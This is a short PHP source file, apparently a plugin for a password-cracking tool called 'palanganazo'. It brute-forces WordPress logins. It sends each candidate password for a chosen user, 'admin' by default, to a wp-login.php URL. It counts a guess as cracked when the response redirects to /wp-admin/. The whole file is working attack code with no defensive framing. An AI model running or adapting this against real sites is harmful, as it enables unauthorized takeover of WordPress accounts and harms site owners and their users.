<?php
/*
  palanganazo
  http://code.google.com/p/palanganazo/
  
  by >> s E t H <<
  xd dot seth at gmail
  http://xd-blog.com.ar/
*/

    $plugin_required_options = array('url:');
    
    $tmp_options = getopt('', array('user:', 'url:'));
    $user        = isset($tmp_options['user']) ? $tmp_options['user'] : 'admin';
    $url         = $tmp_options['url'];
    unset($tmp_options);
    
    function plugin_crack() {
        global $url, $password, $user;
        
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_POSTFIELDS, 'log='.$user.'&pwd='.$password);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        if (! ($result = curl_exec($ch) ) ) {
            show_debug('No se pudo hacer la peticion a ' . $url);
            password_not_tested($password);
        }
        curl_close($ch);
        
        // Redirection to /wp-admin/
        if( preg_match('@Location: ([^\n]*)/wp-admin/@', $result) ) {
            return $password;
        }else{
            return false;
        }
    }
    
    
    function plugin_display_help() {
        echo "  --url=<url>                   Example: http://example.org/wp-login.php\n",
             "  --user=<username>             (default: admin)\n";
    }

?>